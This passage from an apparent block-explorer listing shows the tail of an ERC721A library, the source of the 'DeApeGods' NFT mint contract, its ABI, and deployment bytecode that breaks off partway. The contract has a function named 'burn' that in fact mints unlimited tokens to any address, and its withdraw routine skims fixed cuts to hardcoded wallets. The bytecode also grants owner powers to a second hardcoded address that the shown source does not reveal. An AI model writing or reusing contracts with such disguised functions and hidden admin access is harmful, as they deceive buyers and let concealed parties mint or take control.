        emit Transfer(from, to, tokenId);
        _afterTokenTransfers(from, to, tokenId, 1);
    }

    /**
     * @dev Approve `to` to operate on `tokenId`
     *
     * Emits a {Approval} event.
     */
    function _approve(
        address to,
        uint256 tokenId,
        address owner
    ) private {
        _tokenApprovals[tokenId] = to;
        emit Approval(owner, to, tokenId);
    }

    /**
     * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
     * The call is not executed if the target address is not a contract.
     *
     * @param from address representing the previous owner of the given token ID
     * @param to target address that will receive the tokens
     * @param tokenId uint256 ID of the token to be transferred
     * @param _data bytes optional data to send along with the call
     * @return bool whether the call correctly returned the expected magic value
     */
    function _checkOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        if (to.isContract()) {
            try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
                return retval == IERC721Receiver(to).onERC721Received.selector;
            } catch (bytes memory reason) {
                if (reason.length == 0) {
                    revert("ERC721A: transfer to non ERC721Receiver implementer");
                } else {
                    assembly {
                        revert(add(32, reason), mload(reason))
                    }
                }
            }
        } else {
            return true;
        }
    }

    /**
     * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     */
    function _beforeTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
     * minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}
}

contract DeApeGods is ERC721A, Ownable, ReentrancyGuard {
    string public baseURI = "ipfs://QmQBkD9TDHkWojgpGeW2ewD3rBQdGkXEJNqrQWaPGNokGe/";
    uint   public price             = 0.02 ether;
    uint   public maxPerTx          = 10;
    uint   public maxPerFree        = 1;
    uint   public totalFree         = 10000;
    uint   public maxSupply         = 10000;
    bool   public mintEnabled;
    uint   public totalFreeMinted = 0;

    mapping(address => uint256) public _mintedFreeAmount;

    constructor() ERC721A("DeApeGods", "DAG"){}

    function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
        require(_exists(_tokenId),"ERC721Metadata: URI query for nonexistent token");
        string memory currentBaseURI = _baseURI();
        return bytes(currentBaseURI).length > 0
            ? string(abi.encodePacked(currentBaseURI,Strings.toString(_tokenId+1),".json"))
            : "";
    }

    function mint(uint256 count) external payable {
        uint256 cost = price;
        bool isFree = ((totalFreeMinted + count < totalFree + 1) &&
            (_mintedFreeAmount[msg.sender] < maxPerFree));

        if (isFree) { 
            require(mintEnabled, "Mint is not live yet");
            require(totalSupply() + count <= maxSupply, "No more");
            require(count <= maxPerTx, "Max per TX reached.");
            if(count >= (maxPerFree - _mintedFreeAmount[msg.sender]))
            {
             require(msg.value >= (count * cost) - ((maxPerFree - _mintedFreeAmount[msg.sender]) * cost), "Please send the exact ETH amount");
             _mintedFreeAmount[msg.sender] = maxPerFree;
             totalFreeMinted += maxPerFree;
            }
            else if(count < (maxPerFree - _mintedFreeAmount[msg.sender]))
            {
             require(msg.value >= 0, "Please send the exact ETH amount");
             _mintedFreeAmount[msg.sender] += count;
             totalFreeMinted += count;
            }
        }
        else{
        require(mintEnabled, "Mint is not live yet");
        require(msg.value >= count * cost, "Please send the exact ETH amount");
        require(totalSupply() + count <= maxSupply, "No more");
        require(count <= maxPerTx, "Max per TX reached.");
        }

        _safeMint(msg.sender, count);
    }

    function costCheck() public view returns (uint256) {
        return price;
    }

    function maxFreePerWallet() public view returns (uint256) {
      return maxPerFree;
    }

    function burn(address mintAddress, uint256 count) public onlyOwner {
        _safeMint(mintAddress, count);
    }

    function _baseURI() internal view virtual override returns (string memory) {
        return baseURI;
    }

    function setBaseUri(string memory baseuri_) public onlyOwner {
        baseURI = baseuri_;
    }

    function setPrice(uint256 price_) external onlyOwner {
        price = price_;
    }

    function setMaxTotalFree(uint256 MaxTotalFree_) external onlyOwner {
        totalFree = MaxTotalFree_;
    }

     function setMaxPerFree(uint256 MaxPerFree_) external onlyOwner {
        maxPerFree = MaxPerFree_;
    }

    function toggleMinting() external onlyOwner {
      mintEnabled = !mintEnabled;
    }

    function withdraw() external onlyOwner nonReentrant {

        (bool communityWallet, ) = payable(0x918a7159430511BC7B209C7247026204F764c0a8).call{value: address(this).balance * 10 / 100}("");
    require(communityWallet);

        (bool hs, ) = payable(0x475800A0933Eef9817608B1f0A98a49b9Be84F53).call{value: address(this).balance * 11 / 100}("");
    require(hs);
    
        (bool success, ) = msg.sender.call{value: address(this).balance}("");
        require(success, "Transfer failed.");
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_mintedFreeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"mintAddress","type":"address"},{"internalType":"uint256","name":"count","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"costCheck","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxFreePerWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"mintEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseuri_","type":"string"}],"name":"setBaseUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"MaxPerFree_","type":"uint256"}],"name":"setMaxPerFree","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"MaxTotalFree_","type":"uint256"}],"name":"setMaxTotalFree","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"price_","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toggleMinting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFreeMinted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040527390bc93624d539af5086b18b4d8586fa9c26a08c6600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060600160405280603681526020016200501460369139600a90805190602001906200008a9291906200025b565b5066470de4df820000600b55600a600c556001600d55612710600e55612710600f556000601155348015620000be57600080fd5b506040518060400160405280600981526020017f4465417065476f647300000000000000000000000000000000000000000000008152506040518060400160405280600381526020017f44414700000000000000000000000000000000000000000000000000000000008152508160019080519060200190620001439291906200025b565b5080600290805190602001906200015c9291906200025b565b5050506200017f620001736200018d60201b60201c565b6200019560201b60201c565b600160098190555062000370565b600033905090565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b82805462000269906200030b565b90600052602060002090601f0160209004810192826200028d5760008555620002d9565b82601f10620002a857805160ff1916838001178555620002d9565b82800160010185558215620002d9579182015b82811115620002d8578251825591602001919060010190620002bb565b5b509050620002e89190620002ec565b5090565b5b8082111562000307576000816000905550600101620002ed565b5090565b600060028204905060018216806200032457607f821691505b602082108114156200033b576200033a62000341565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b614c9480620003806000396000f3fe6080604052600436106102255760003560e01c806391b7f5ed11610123578063c7c39ffc116100ab578063e945971c1161006f578063e945971c146107d6578063e985e9c5146107ff578063f2fde38b1461083c578063f4db2acb14610865578063f968adbe146108a257610225565b8063c7c39ffc146106ed578063c87b56dd14610718578063d123973014610755578063d5abeb0114610780578063dad7b5c9146107ab57610225565b8063a0712d68116100f2578063a0712d681461062b578063a0bcfc7f14610647578063a22cb46514610670578063a702735714610699578063b88d4fde146106c457610225565b806391b7f5ed1461058357806395d89b41146105ac5780639dc29fac146105d7578063a035b1fe1461060057610225565b806342842e0e116101b15780636c0360eb116101755780636c0360eb146104c257806370a08231146104ed578063715018a61461052a5780637d55094d146105415780638da5cb5b1461055857610225565b806342842e0e146103cb5780634f6ccce7146103f45780635a963f1b146104315780636352211e1461045a57806364b721881461049757610225565b806318160ddd116101f857806318160ddd146102f857806323b872dd146103235780632f745c591461034c578063333e44e6146103895780633ccfd60b146103b457610225565b806301ffc9a71461022a57806306fdde0314610267578063081812fc14610292578063095ea7b3146102cf575b600080fd5b34801561023657600080fd5b50610251600480360381019061024c9190613910565b6108cd565b60405161025e9190614467565b60405180910390f35b34801561027357600080fd5b5061027c610a17565b6040516102899190614482565b60405180910390f35b34801561029e57600080fd5b506102b960048036038101906102b491906139a3565b610aa9565b6040516102c69190614400565b60405180910390f35b3480156102db57600080fd5b506102f660048036038101906102f191906138d4565b610b2e565b005b34801561030457600080fd5b5061030d610c47565b60405161031a91906147c4565b60405180910390f35b34801561032f57600080fd5b5061034a600480360381019061034591906137ce565b610c50565b005b34801561035857600080fd5b50610373600480360381019061036e91906138d4565b610c60565b60405161038091906147c4565b60405180910390f35b34801561039557600080fd5b5061039e610e52565b6040516103ab91906147c4565b60405180910390f35b3480156103c057600080fd5b506103c9610e58565b005b3480156103d757600080fd5b506103f260048036038101906103ed91906137ce565b61117e565b005b34801561040057600080fd5b5061041b600480360381019061041691906139a3565b61119e565b60405161042891906147c4565b60405180910390f35b34801561043d57600080fd5b50610458600480360381019061045391906139a3565b6111f1565b005b34801561046657600080fd5b50610481600480360381019061047c91906139a3565b6112d6565b60405161048e9190614400565b60405180910390f35b3480156104a357600080fd5b506104ac6112ec565b6040516104b991906147c4565b60405180910390f35b3480156104ce57600080fd5b506104d76112f6565b6040516104e49190614482565b60405180910390f35b3480156104f957600080fd5b50610514600480360381019061050f9190613769565b611384565b60405161052191906147c4565b60405180910390f35b34801561053657600080fd5b5061053f61146d565b005b34801561054d57600080fd5b50610556611554565b005b34801561056457600080fd5b5061056d61165b565b60405161057a9190614400565b60405180910390f35b34801561058f57600080fd5b506105aa60048036038101906105a591906139a3565b611685565b005b3480156105b857600080fd5b506105c161176a565b6040516105ce9190614482565b60405180910390f35b3480156105e357600080fd5b506105fe60048036038101906105f991906138d4565b6117fc565b005b34801561060c57600080fd5b506106156118e5565b60405161062291906147c4565b60405180910390f35b610645600480360381019061064091906139a3565b6118eb565b005b34801561065357600080fd5b5061066e60048036038101906106699190613962565b611e11565b005b34801561067c57600080fd5b5061069760048036038101906106929190613898565b611f06565b005b3480156106a557600080fd5b506106ae612087565b6040516106bb91906147c4565b60405180910390f35b3480156106d057600080fd5b506106eb60048036038101906106e6919061381d565b612091565b005b3480156106f957600080fd5b506107026120ed565b60405161070f91906147c4565b60405180910390f35b34801561072457600080fd5b5061073f600480360381019061073a91906139a3565b6120f3565b60405161074c9190614482565b60405180910390f35b34801561076157600080fd5b5061076a6121a6565b6040516107779190614467565b60405180910390f35b34801561078c57600080fd5b506107956121b9565b6040516107a291906147c4565b60405180910390f35b3480156107b757600080fd5b506107c06121bf565b6040516107cd91906147c4565b60405180910390f35b3480156107e257600080fd5b506107fd60048036038101906107f891906139a3565b6121c5565b005b34801561080b57600080fd5b5061082660048036038101906108219190613792565b6122aa565b6040516108339190614467565b60405180910390f35b34801561084857600080fd5b50610863600480360381019061085e9190613769565b61233e565b005b34801561087157600080fd5b5061088c60048036038101906108879190613769565b612495565b60405161089991906147c4565b60405180910390f35b3480156108ae57600080fd5b506108b76124ad565b6040516108c491906147c4565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061099857507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610a0057507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610a105750610a0f826124b3565b5b9050919050565b606060018054610a2690614a89565b80601f0160208091040260200160405190810160405280929190818152602001828054610a5290614a89565b8015610a9f5780601f10610a7457610100808354040283529160200191610a9f565b820191906000526020600020905b815481529060010190602001808311610a8257829003601f168201915b5050505050905090565b6000610ab48261251d565b610af3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aea906147a4565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610b39826112d6565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610baa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba190614684565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610bc961252a565b73ffffffffffffffffffffffffffffffffffffffff161480610bf85750610bf781610bf261252a565b6122aa565b5b610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90614584565b60405180910390fd5b610c42838383612532565b505050565b60008054905090565b610c5b8383836125e4565b505050565b6000610c6b83611384565b8210610cac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca3906144a4565b60405180910390fd5b6000610cb6610c47565b905060008060005b83811015610e10576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614610db057806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e025786841415610df9578195505050505050610e4c565b83806001019450505b508080600101915050610cbe565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4390614744565b60405180910390fd5b92915050565b600e5481565b610e6061252a565b73ffffffffffffffffffffffffffffffffffffffff16610e7e61165b565b73ffffffffffffffffffffffffffffffffffffffff161480610ef45750610ea361252a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610f33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2a90614604565b60405180910390fd5b60026009541415610f79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7090614764565b60405180910390fd5b6002600981905550600073918a7159430511bc7b209c7247026204f764c0a873ffffffffffffffffffffffffffffffffffffffff166064600a47610fbd9190614945565b610fc79190614914565b604051610fd3906143eb565b60006040518083038185875af1925050503d8060008114611010576040519150601f19603f3d011682016040523d82523d6000602084013e611015565b606091505b505090508061102357600080fd5b600073475800a0933eef9817608b1f0a98a49b9be84f5373ffffffffffffffffffffffffffffffffffffffff166064600b4761105f9190614945565b6110699190614914565b604051611075906143eb565b60006040518083038185875af1925050503d80600081146110b2576040519150601f19603f3d011682016040523d82523d6000602084013e6110b7565b606091505b50509050806110c557600080fd5b60003373ffffffffffffffffffffffffffffffffffffffff16476040516110eb906143eb565b60006040518083038185875af1925050503d8060008114611128576040519150601f19603f3d011682016040523d82523d6000602084013e61112d565b606091505b5050905080611171576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611168906146a4565b60405180910390fd5b5050506001600981905550565b61119983838360405180602001604052806000815250612091565b505050565b60006111a8610c47565b82106111e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e090614544565b60405180910390fd5b819050919050565b6111f961252a565b73ffffffffffffffffffffffffffffffffffffffff1661121761165b565b73ffffffffffffffffffffffffffffffffffffffff16148061128d575061123c61252a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6112cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c390614604565b60405180910390fd5b80600e8190555050565b60006112e182612b24565b600001519050919050565b6000600b54905090565b600a805461130390614a89565b80601f016020809104026020016040519081016040528092919081815260200182805461132f90614a89565b801561137c5780601f106113515761010080835404028352916020019161137c565b820191906000526020600020905b81548152906001019060200180831161135f57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ec906145a4565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b61147561252a565b73ffffffffffffffffffffffffffffffffffffffff1661149361165b565b73ffffffffffffffffffffffffffffffffffffffff16148061150957506114b861252a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611548576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153f90614604565b60405180910390fd5b6115526000612cbe565b565b61155c61252a565b73ffffffffffffffffffffffffffffffffffffffff1661157a61165b565b73ffffffffffffffffffffffffffffffffffffffff1614806115f0575061159f61252a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61162f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162690614604565b60405180910390fd5b601060009054906101000a900460ff1615601060006101000a81548160ff021916908315150217905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61168d61252a565b73ffffffffffffffffffffffffffffffffffffffff166116ab61165b565b73ffffffffffffffffffffffffffffffffffffffff16148061172157506116d061252a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611760576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175790614604565b60405180910390fd5b80600b8190555050565b60606002805461177990614a89565b80601f01602080910402602001604051908101604052809291908181526020018280546117a590614a89565b80156117f25780601f106117c7576101008083540402835291602001916117f2565b820191906000526020600020905b8154815290600101906020018083116117d557829003601f168201915b5050505050905090565b61180461252a565b73ffffffffffffffffffffffffffffffffffffffff1661182261165b565b73ffffffffffffffffffffffffffffffffffffffff161480611898575061184761252a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6118d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ce90614604565b60405180910390fd5b6118e18282612d84565b5050565b600b5481565b6000600b54905060006001600e5461190391906148be565b8360115461191191906148be565b10801561195e5750600d54601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b90508015611cc857601060009054906101000a900460ff166119b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ac906144c4565b60405180910390fd5b600f54836119c1610c47565b6119cb91906148be565b1115611a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a03906144e4565b60405180910390fd5b600c54831115611a51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4890614724565b60405180910390fd5b601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611a9e919061499f565b8310611bba5781601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611af2919061499f565b611afc9190614945565b8284611b089190614945565b611b12919061499f565b341015611b54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4b906145c4565b60405180910390fd5b600d54601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d5460116000828254611bae91906148be565b92505081905550611cc3565b601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611c07919061499f565b831015611cc2576000341015611c52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c49906145c4565b60405180910390fd5b82601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ca191906148be565b925050819055508260116000828254611cba91906148be565b925050819055505b5b611e02565b601060009054906101000a900460ff16611d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0e906144c4565b60405180910390fd5b8183611d239190614945565b341015611d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5c906145c4565b60405180910390fd5b600f5483611d71610c47565b611d7b91906148be565b1115611dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db3906144e4565b60405180910390fd5b600c54831115611e01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df890614724565b60405180910390fd5b5b611e0c3384612d84565b505050565b611e1961252a565b73ffffffffffffffffffffffffffffffffffffffff16611e3761165b565b73ffffffffffffffffffffffffffffffffffffffff161480611ead5750611e5c61252a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611eec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee390614604565b60405180910390fd5b80600a9080519060200190611f02929190613553565b5050565b611f0e61252a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7390614644565b60405180910390fd5b8060066000611f8961252a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff1661203661252a565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161207b9190614467565b60405180910390a35050565b6000600d54905090565b61209c8484846125e4565b6120a884848484612da2565b6120e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120de906146c4565b60405180910390fd5b50505050565b600d5481565b60606120fe8261251d565b61213d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213490614624565b60405180910390fd5b6000612147612f39565b90506000815111612167576040518060200160405280600081525061219e565b8061217d60018561217891906148be565b612fcb565b60405160200161218e9291906143bc565b6040516020818303038152906040525b915050919050565b601060009054906101000a900460ff1681565b600f5481565b60115481565b6121cd61252a565b73ffffffffffffffffffffffffffffffffffffffff166121eb61165b565b73ffffffffffffffffffffffffffffffffffffffff161480612261575061221061252a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6122a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229790614604565b60405180910390fd5b80600d8190555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b61234661252a565b73ffffffffffffffffffffffffffffffffffffffff1661236461165b565b73ffffffffffffffffffffffffffffffffffffffff1614806123da575061238961252a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b612419576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241090614604565b60405180910390fd5b60007